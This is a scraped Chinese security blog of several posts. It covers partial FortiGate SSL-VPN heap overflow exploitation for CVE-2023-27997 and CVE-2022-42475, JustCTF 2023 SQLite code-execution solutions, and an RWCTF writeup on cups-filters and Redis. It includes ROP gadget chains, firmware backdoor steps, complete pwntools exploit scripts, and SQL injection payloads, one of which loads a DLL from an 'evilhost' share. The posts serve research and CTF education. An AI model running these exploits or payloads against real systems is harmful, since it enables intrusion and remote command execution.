    sock = set_heap_fengshui(sock, payload)
    sock.close()

这样之后，我们需要创建两个 sock ，代码如下

def do_rewrtie_ssl_struct(IP, port, salt, seeds):
    log.info('Creating sockets...')
    time.sleep(1)
    vul_sock = make_ssl_socket(IP, port, if_warp=True)
    sock4 = make_ssl_socket(IP, port)
    sock4.sendall(b'aaaa')

    log.info('Rewrite SSL struct')
    for seed in seeds:
        for offset in seed:
            write_value(vul_sock, salt, seed[offset].decode('latin1'), offset)
    return (vul_sock, sock4)

其中一个 vul_sock 是用来溢出 buffer ，然后 sock4 是用来分配 ssl 结构体，用来被溢出的。这样之后我们就能稳定触发溢出，且稳定的让 ssl 结构体分配在 out 的缓冲区后面
。

栈迁移

当触发溢出的时候，我们的这个时候指针和内存大概如下：

我们可以发现，当我们控制 PC 后，这里的 RDI 寄存器指向的是我们的 ssl 结构体，因此第一个涌上的思路是做栈迁移，找一个类似于

push rdi; pop rsp; ... ; ret 的 gadget 即可，我们最后使用的是 push_rdi_pop_rsp = 0x669129 # push rdi ; pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret

这样就将栈成功迁移到了我们的 ssl stuct ，即可控的可写的缓冲区内。然后这里预期直接在 ssl 缓冲区接着写我们剩下的 gadget ，但是这里突然发现了一个问题， ssl struct 似乎有很多结构体不能被写，一写就报错。

于是我在这里换了个思路，接着尝试布局堆结构，理想情况应该是：

或者

在 out 前面，或者 ssl struct 的后面布局一块完全可控的内存，但是由于我们的这块完全可控的内存是不能被 00 截断的，因此key-value 对的 key 似乎是不能用来布局的，但是这里我想了下， key 不能被用来布局堆，但是 value 应该是可以的！！因此我在溢出结束之后，接着尝试用如下代码发包：

def layout_gadget(IP, port):
    ropchain = build_ropchain(args)
    sock = make_ssl_socket(IP, port, if_warp=True)
    for i in range(10):
        junk = cyclic(size, n=8)
        pay = bytearray(junk)
        #pay[1: 1+13 * 8] = p64(ret) * 13
        #pay[105:105+len(ropchain)]  = ropchain
        junk = bytes(pay)

        payload = 'aaaa' + '=' + junk + '&' + 'bbbb' + '=' + junk + '&' + 'cccc' + '=' + junk + '&' + 'dddd' + '=' + junk + '&' + 'eeee' + '=' + junk 
        payload += '&username=vvvv'
        sock = set_heap_fengshui(sock, payload)
    
    return sock

成功在 out 缓冲区写下了一块可控的内存

因此此时内存结构如下：

由于 ssl struct 有很多不能写的地方，于是我想到一个方法，尝试去找大量连续是 0 的缓冲区，然后仅仅写入另外一段 stack pivot chain，将栈迁移到前面的可控缓冲区中。最后我使用了这样的 chain ：

0x000000000060bdb4   # pop rax ; pop rdx ; ret
bss_addr = 0x4698eb0 # -> rax
offfset =  0x26e0-1  # rdx -> ropchain
0x61a292  # : sub rsp, rdx ; dec dword ptr [rax - 0x77] ; ret

通过这条 chain，将栈迁移到前面的缓冲区，进行更复杂的操作。

执行任意指令

在完成此部分之后，接下来就是组装ROP链的过程了。尽管该程序非常庞大，以至于几乎可以找到所需的任何gadget链，但找寻gadget终究是一个相对繁琐的任务。因此，最后决定采用mprotect + shellcode的方法。首先，利用一些gadget将rdi指向ROP链的内存开头。

这一部分内容就留作给读者完成吧

Demo

I learned a lot from @cfreal_ , and it's great to write exploits together with @leommxj.#CVE-2023-27997 pic.twitter.com/nEFndgvoVD
— swing (@bestswngs) June 17, 2023

Reference link

^[1] https://labs.watchtowr.com/xortigate-or-cve-2023-27997/
^[2] https://blog.lexfo.fr/xortigate-cve-2023-27997.html
^[3] attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn
^[4] https://github.dev/openssl/openssl/tree/openssl-3.0.0

CVE-2022-42475-FortiGate-SSLVPN-HeapOverflow

2023-06-17T16:00:00.000Z

原文链接：https://bestwing.me/CVE-2022-42475-FortiGate-SSLVPN-HeapOverflow.html

TL; DR

这两天和 @leommxj 一起分析了和写了一下 CVE-2023-27997 的漏洞利用，顺便一想想 CVE-2022-42475 这个漏洞也过去蛮久的了，于是准备把这篇 CVE-2022-42475 漏洞分析分享出来。注：本文不含完整的漏洞利用脚本。

下图为 CVE-2023-27997 的利用录屏，与本文要讲的 CVE-2022-42475 无关

I learned a lot from @cfreal_ , and it's great to write exploits together with @leommxj.#CVE-2023-27997 pic.twitter.com/nEFndgvoVD
— swing (@bestswngs) June 17, 2023

注：这篇笔记成文于 2023-02-28 ，发表于 2023-06-18

正文

2022 年 12 月 12 日，Fortinet 官方发布了影响 FortiGate SSLVPN 的 RCE 漏洞 CVE-2022-42475 相关信息。本文对此漏洞的成因进行分析。

环境配置

测试版本为 7.2.2，环境的安装和部署可以参考这篇文章： https://blog.csdn.net/meigang2012/article/details/87903878。另外感谢下 @explorer 网管大哥在部署环境上的帮助。

导入虚拟机后需要配置下网络，参考 https://docs.fortinet.com/document/fortigate-private-cloud/7.2.0/vmware-esxi-administration-guide/615472/configuring-port-1

有个重点 dns 要设置下：

config system dns
set primary 
set secondary 
end

# The default DNS servers are 208.91.112.53 and 208.91.112.52.

需要配置一个 sslvpn ，然后能访问即可。

设备权限获取

挂载虚拟机 vmdk 硬盘后，可以看到有个 rootfs.gz 文件。

1
2

root@Jas-22:/home/user/Desktop/fuck-fortigate/rootfs# ls
bin  bin.tar.xz  boot  data  data2  dev  etc  fortidev  init  lib  lib64  migadmin.tar.xz  node-scripts.tar.xz  proc  sbin  sys  tmp  usr  usr.tar.xz  usr.tar.xz.chk  var

可以看到有如下内容，我们需要进一步解压 bin.tar.xz 文件夹，使用 sbin 目录自带的命令解压

chroot . /sbin/xz --check=sha256 -d /bin.tar.xz
chroot . /sbin/ftar -xf /bin.tar
chroot . /sbin/xz --check=sha256 -d /migadmin.tar.xz
chroot . /sbin/ftar -xf /migadmin.tar

然后需要在 bin 目录中放入后门，第一个是生成一个反弹shell替换 smartctl 文件，以及我这里放入一个 busybox ，做一个软链接 ln -sn /bin/busybox bin/sh 设备中默认没有 bash （sh）文件（或者说他的 sh 功能比较鸡肋），然后重新打包。

# 重新打包 bin 文件夹
chroot . sbin/ftar -cf bin.tar bin
chroot . sbin/xz --check=sha256 -e bin.tar
# 重新打包 rootfs
find . | cpio -H newc -o > ../rootfs.raw
cat ./rootfs.raw | gzip > rootfs.gz

重打包完成后，我们需要过几个校验，才能正常启动系统。

vmlinux ：

解下来是 bin/init：

这里会校验 fgtsum ，失败直接给你重启最后是 rootfs 检查

由于，我是采用 vmware + gdb 的调试方式，即使用VMware和GDB进行Linux内核调试 (bestwing.me)，因此我直接写了一个 gdb python 脚本动态修改返回值即可：

这里皮一句，依稀记得这段代码是 chatGPT 帮我生成的。

import gdb

class SetRaxBreakpoint(gdb.Breakpoint):
    def __init__(self, bp_expr, rax_value, temporary=False):
        gdb.Breakpoint.__init__(self, bp_expr, gdb.BP_BREAKPOINT, False, temporary )
        # super(SetRaxBreakpoint, self).__init__(spec, temporary)
        self.rax_value = rax_value
        self.silent = True

    def stop(self):
        gdb.execute('set $rax = {}'.format(self.rax_value))

gdb.execute('set architecture i386:x86-64')
gdb.execute('set pagination off')

r1 = SetRaxBreakpoint('*0xffffffff807ac11c', 0)
r2 = SetRaxBreakpoint('*0x4518C9', 1) # 
r3 = SetRaxBreakpoint('*0x277fccc', 1)

当系统成功执行后，使用 diagnose hardware smartctl 即可运行我们的后门文件。

漏洞分析

Root Cause

在处理用户 POST 数据的时候，

会根据 http header 中的 content-length字段分配 buffer ，然而在分配之前，即在调用 pool_alloc 函数之前

pool_alloc 有两个参数, 第二个为即将要分配的buffer 大小

rax 为用户请求结构体指针，偏移位置 0x18 存放了 CL 值。先将 CL 放在 eax 寄存器中，使用 lea 指令将其加一后放在 esi 寄存器，再用 movsxd 扩展为 64 bit 值。

在调用 pool_alloc 函数时使用 32 位数值 + 1 拓展成 64 位的方法，这里存在整数溢出。那么我们可以构造特殊的 CL 值，比如 0x1b00000000，经过运算拓展之后会变成 0x1 。会分配一个小的内存空间导致溢出

上面这个是断点是初始化 buffer ，可以看到大小是 1, 之后在 memcpy 处就会溢出。

exploit

这里首先明确一下，我不会公开完整的利用，这里这提一点利用上的思路。利用整体思路参考 Orange 2017 年的文章，大致思路就是进行进行竞争，一边在堆上布局 SSL 结构体，一边触发漏洞，然后溢出覆盖 SSL 结构体。

之后就可以控制 PC ，当我们控制 PC 后我们需要确定 padding ，这个步骤比较繁琐，我拿 PoC 改了一个循环 fuzz 的脚本。


def do_exploit(padding):
 ...
 payload = p64(ret) * padding + 'A' * 0x1000
 ...

for i in range(123, 384):
    padding = int(i )
    if do_exploit(padding):
        continue
    else:
        print('timeout ...')
        break

然后对 ret 这个gadget 下一个断点，当触发断点的时候，脚本会因为timeout 触发异常，然后这附近大概就是咱们的padding。

然后这个时候只需要找栈迁移的gadget 即可。这里我找了的 push rdx ; add bl, byte ptr [rbx + 0x41] ; pop rsp ; pop rbp ; ret ，这个gadget ，正好可以将栈迁移到 rdi 寄存器所指向的内存地址上。然后将剩下 ret 指令的替换成 pop rax ; ret
这样的gadget，这样就能一直迁移到可控制的 AAAAAAA 的地方进行 rop 链了。

再阅读这一部分的内容，我突然反应过来其实不需要替换指令，当前的 ret 指令就足够迁移到可控的 AAAA 的位置进行 ROP 了

由于 fortigate 的这个程序很大，正如 CVE-2023-27997 的作者所说的，

该程序很大，想找到适合的 gadget 来组成 ropchain 仅仅需要花费一点时间就行了。

参考连接

飞塔老梅子的博客-CSDN博客

Configuring port 1 | FortiGate Private Cloud 7.2.0 (fortinet.com)

attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn

使用VMware和GDB进行Linux内核调试 (bestwing.me)

CVE-2022-42475 | CataLpa’s Site (wzt.ac.cn)

fortios 5.4后门植入

从JustCTF 2023 中学到的一点关于 sqlite3 代码执行的方法

2023-06-04T16:00:00.000Z

TL; DR

周末简单看了下 JustCTF 2023 的题目，主要是三个题目吸引了我的注意，分别是 notabug 、notabug2 和Windytooth。其中前面两个是和 sqlite3 相关的题目。再次学到了一点利用方式。

Known Attacks on SQLite

在BlackHat 2017 长亭科技的 slide 中提到两种众所周知的方法： ^[1]

Attach Database

1
2
3

?id=bob'; ATTACH DATABASE '/var/www/lol.php' AS lol; CREATE TABLE lol.pwn 
(dataz text); INSERT INTO lol.pwn (dataz) VALUES ('
?>';--

通过写 ATTACH DATABASE 写文件，然后执行 php 代码

SELECT load_extension

1 2	?name=123 UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--

在能上传文件的情况在，且加载扩展的功能必须打开 ^[2] 。在 JustCTF 的 notabug 中也用到这个技巧

title: "exploit for notabug (JustCTF 2023)"

from pwn import *
context.log_level='debug'
context.arch='amd64'
#context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
# p=process('./pwn')
import binascii
p = remote("0.0.0.0",13337)
ru         = lambda a:     p.readuntil(a)
r         = lambda n:        p.read(n)
sla     = lambda a,b:     p.sendlineafter(a,b)
sa         = lambda a,b:     p.sendafter(a,b)
sl        = lambda a:     p.sendline(a)
s         = lambda a:     p.send(a)
sla(b"> ",b"CREATE TABLE images(name TEXT, type TEXT, img BLOB);")
with open("./exp.so",'rb') as f:
    dt = f.read()
sla(b"> ",b"INSERT INTO images(name,type,img)")

dt = binascii.hexlify(dt)
# warning(chr(dt[1]))

print(dt.decode())
# input()

sla(b"> ",f"VALUES('icon','jpeg',cast(x'{dt.decode()}' as text));")
sla(b"> ",b"SELECT writefile('./exp.so',img) FROM images WHERE name='icon';")
# print(hex(int(p.readline())))
sla(b"> ",b"select Load_extension('./exp','exp');")
p.interactive()

learned from JustCTF

那么如果我们不能上传文件的时候如何利用 load_extension ，方法来做命令执行呢？

load libc.so

我们可以通过 select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts'); 来执行任意的 glibc 方法，例如这里的思路是

通过 puts 、gets 为预测堆地址，并写入我们的结构，然后爆破堆地址让他在执行 system 的时候,确保是执行我们想要的命令。 exploit 来自 @n132

title:"exploit for notabug2(JustCTF 2023)"

from pwn import *

# p = process("./sqlite3")
#context.log_level='debug'
#p = remote("0.0.0.0",13339)
p = remote('notabug2.nc.jctf.pro', 1337)
ru         = lambda a:     p.readuntil(a)
r         = lambda n:        p.read(n)
sla     = lambda a,b:     p.sendlineafter(a,b)
sa         = lambda a,b:     p.sendafter(a,b)
sl        = lambda a:     p.sendline(a)
s         = lambda a:     p.send(a)



sla(b"lite>",b"select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts');")
ru(": \n")
lic = u64(p.recvn(6).ljust(8,b'\x00'))
warning(hex(lic))
pie_base = lic - 0x1589a0

heap = 0x00005555556b0000-0x0000555555554000+pie_base # 1/0x2000

# system_plt = (pie_base+0x2228C)
system_plt = pie_base + 0x10910
if pie_base > 0x600000000000:
    p.close()
warning(hex(pie_base)) #lic+0x28b8
sla(b"lite>",b"select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','gets');")
p.sendline(p64(heap+0x11eb0)+b'a'*0x8+p64(pie_base+0x000000000009e0ad))
# raw_input()
dt = b"/bin/sh\0"+flat([0]*8)+ flat([0]*8)+ p64(system_plt)
sla(b"lite> ",f"select cast(x'{dt.hex()}' as text), ".encode()+b"Load_extension('"+p64(system_plt)[:6]+b"','/bin/sh');")
p.sendline(b"echo n132")
# p.interactive()
data = p.read(timeout=1)
if b'n132' in data:
    p.sendline("/jailed/readflag")
    input()
    p.interactive()
else:
    p.close()

.system execute command

在 Command Line Shell For SQLite 界面中， sqlite 是内置了一些方法的 ^[3] ，其中就包括了 .system

1	.system CMD ARGS…Run CMD ARGS… in a system shell

这是可以直接执行命令的，但是在 JustCTF 中，程序做了限制

# root @ pwnable in /tmp/private [14:10:59]
$ cat run-sqlite.sh
#!/bin/bash
sed -ue '/^\./ { /^\.open/!d; }' | /jailed/sqlite3 -interactive#

这个正则的解释就是:

这个sed脚本的作用是从输入中筛选出特定的行。它使用正则表达式进行匹配。解释一下脚本的含义：

/^./：匹配以.开头的行。
{ /^.open/!d; }：对于匹配到的以.开头的行，如果行不以.open开头，则删除（d）该行。
因此，这个sed命令的作用是删除以.开头但不以.open开头的行。

因此通常而言我们是不能直接执行 .system 命令的，但是如果和 select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','getchar'); 配合就可以了，这是 @crazyman 赛后发现的。大概是正则多行匹配的问题了

select load_extension('/lib/x86_64-linux-gnu/libc-2.31', 'getchar');
 .system /jailed/readflag
Runtime error: error during initialization: 
justCTF{SQL1t3_F34tur3_n0t_bug_Int3nd3d!11!!!111!!1}

sqlite3 edit function execute command

在 sqlite 还有一个名叫 Edit() 的函数 ^[4]，该 Edit() 接受一个或两个参数。第一个参数是一个值——通常是一个要编辑的大的多行字符串。第二个参数是对文本编辑器的调用。仔细阅读代码，该方法其实也是可以执行任意命令的

1 2	sqlite3_create_function(p->db, "edit", 2, SQLITE_UTF8, 0, editFunc, 0, 0);

最后调用到 editFunc 中

zCmd = sqlite3_mprintf("%s \"%s\"", zEditor, zTempFile);
if( zCmd==0 ){
  sqlite3_result_error_nomem(context);
  goto edit_func_end;
}
rc = system(zCmd);
sqlite3_free(zCmd);

这是在 discord 看到另外一个队的PoC：


sqlite> .open :memory:
sqlite> CREATE TABLE t(a INT, b VARCHAR(200));
sqlite> insert into t values (0, '');
sqlite> update t set b=edit('','/jailed/readflag') where a=0;
justCTF{SQL1t3_F34tur3_n0t_bug_Int3nd3d!11!!!111!!1}

Reference link

1 Many-Birds-One-Stone
2 load_extension
3 SQLite3命令行窗口常用命令
4 The edit() SQL function

1.https://www.blackhat.com/docs/us-17/wednesday/us-17-Feng-Many-Birds-One-Stone-Exploiting-A-Single-SQLite-Vulnerability-Across-Multiple-Software.pdf ↩
2.https://www.sqlite.org/c3ref/load_extension.html ↩
3.https://blog.csdn.net/liubingzhao/article/details/50885880 ↩
4.https://www.sqlite.org/cli.html ↩

Real World CTF 5th writeup

2023-05-16T16:00:00.000Z

TL;DR

这次 RWCTF 比赛我一共出了两个题: 「Printer2」和「Hardened Redis」。至于为什么今天才在博客更新这个Writeup一个原因就是 Pritner2 相关的漏洞今天终于发布了正式补丁。

Printer2

这是 OpenPrinting 项目中 cups-filters 模块下的 Backend Error Handler（简称 beh）存在的漏洞。这里是关于 beh 的介绍

漏洞点位于 cups-filters/backed/beh.c#L288

 // (context: argv = beh    <copies> <options> [file])</span></span><br><span class="line">  <span class="built_in">snprintf</span>(cmdline, <span class="keyword">sizeof</span>(cmdline),</span><br><span class="line">  <span class="string">"%s/backend/%s '%s' '%s' '%s' '%s' '%s' %s"</span>,</span><br><span class="line">  cups_serverbin, scheme, argv[<span class="number">1</span>], argv[<span class="number">2</span>], argv[<span class="number">3</span>],</span><br><span class="line">        ...</span><br><span class="line">  (argc == <span class="number">6</span> ? <span class="string">"1"</span> : argv[<span class="number">4</span>]),</span><br><span class="line">  argv[<span class="number">5</span>], filename);</span><br><span class="line">        ...</span><br><span class="line">retval = system(cmdline) >> <span class="number">8</span>;</span><br></pre></td></tr></table></figure><p>可以看到这里有一个明显的命令注入， 当用户控制 user 或者 title 字段的时候可以造成任意命令执行。更详细的细节可以看我提交给官方的报告：</p><p><a href="https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-gpxc-v2m8-fr3x">report a command inject Vulnerabilities in cups-filters </a></p><h2 id="Hardened-Redis"><a href="#Hardened-Redis" class="headerlink" title="Hardened Redis"></a>Hardened Redis</h2><p>这是题目考点是在较高版本的情况下在有访问 <code>Redis</code> 的情况下如何获取  <code>Redis</code> 所在系统 shell 权限。 在高版本的 Redis 已经不能使用主从复制来获取 shell了（印象中），另外我也禁用了一些 <code>Redis</code> 的方法。 但是由于对 Redis 的熟知程度不够， 其次也是去年参加 CTF 少了， 被 <a href="https://hackmd.io/@Xion/goq_22s_authors_writeup">2022 Spring GoN Open Qual CTF</a> 的一个 <code>Redis</code> 题的解法非预期了。</p><p>下次有机会可以和大家详细分享下这个解法。</p><p>这里接着讲我的预期解法，讲到 <code>Redis</code> ， 如果大家有印象，应该会想到 <code>CVE-2022-0543</code> 。 当时这个漏洞影响了 Debian 系列的 Linux 发行版系统的包管理器所安装的 <code>Redis</code> 。因为 Debian 系列由于打包问题，Redis在Lua解析器初始化后，package变量没有被正确清除，导致攻击者可以利用它来进行Lua沙箱逃逸，从而执行任意系统命令。</p><p>这个时候我们注意到了这 Debian 系列用的 <code>Redis</code> （即使用 apt 安装 ) 所使用的 lua 解析器是 lua 5.1 ， 而且是存在一个 2015 年漏洞的 lua 解析器，虽然这个漏洞在 2015 年就被 <a href="https://github.com/redis/redis/commit/49efe300af258e83f377cd8142d2c67d66fc2e3a"><code>Redis</code>官方修复了</a>， 但是 lua 5.1 解析器并没有修复。</p><p><code>apt</code> 命令安装的redis使用的是单独的 liblua5.1.so.0</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-05-24-b443c11f82ebe41d313bbaf1c058f8b8-87e7f8.png" title="image-20230524155200264" class="gallery-item"></a></p><p>2015 年这个漏洞是 <code>CVE-2015-4335</code>， 另外 HN 评论区当时也提到了这个问题， </p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-05-18-7d5da9fdabc3b657f586d9f14af353b8-7a3f85.png" class="gallery-item"></a></p><p><a href="https://news.ycombinator.com/item?id=30617641">I think this is still ‘broken’ because Redis have applied custom patches to the )</a></p><p>虽然当时我也给  ubuntu 和 Debian 发了邮件提醒了这件事，但是他们的回复看起来是不是很想单独修复。</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-05-18-e8eca39e1e8091cb3cd4123d47d5736a-1bc0a2.png" title="image-20230518002900794" class="gallery-item"></a></p><p>进一步的漏洞利用与分析可以参考我 chu 师父 的博客， <a href="https://mp.weixin.qq.com/s/JxZC5pqi92xEOUT3BKdyWg">Redis CVE-2015-4335分析 </a>， 我就不赘述了。 没想到隔了这么久还是依然能受到 chu 师父的照顾。</p><h2 id="Reference-link"><a href="#Reference-link" class="headerlink" title="Reference link"></a>Reference link</h2><p><a href="https://github.com/OpenPrinting/cups-filters/blob/5c9498a57d3b331d9b1aa59df206b26a9510f335/backend/beh.c#L288">cups-filters/backed/beh.c#L288</a></p><p><a href="https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-gpxc-v2m8-fr3x">report a command inject Vulnerabilities in cups-filters</a></p><p><a href="https://hackmd.io/@Xion/goq_22s_authors_writeup">2022 Spring GoN Open Qual CTF</a></p><p><a href="https://news.ycombinator.com/item?id=30617641">I think this is still ‘broken’ because Redis have applied custom patches to the … | Hacker News (ycombinator.com)</a></p><p><a href="https://github.com/redis/redis/commit/49efe300af258e83f377cd8142d2c67d66fc2e3a">disable loading lua bytecode</a></p><p><a href="https://mp.weixin.qq.com/s/JxZC5pqi92xEOUT3BKdyWg">Redis CVE-2015-4335分析 </a></p></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>
</article>
</main></body></html>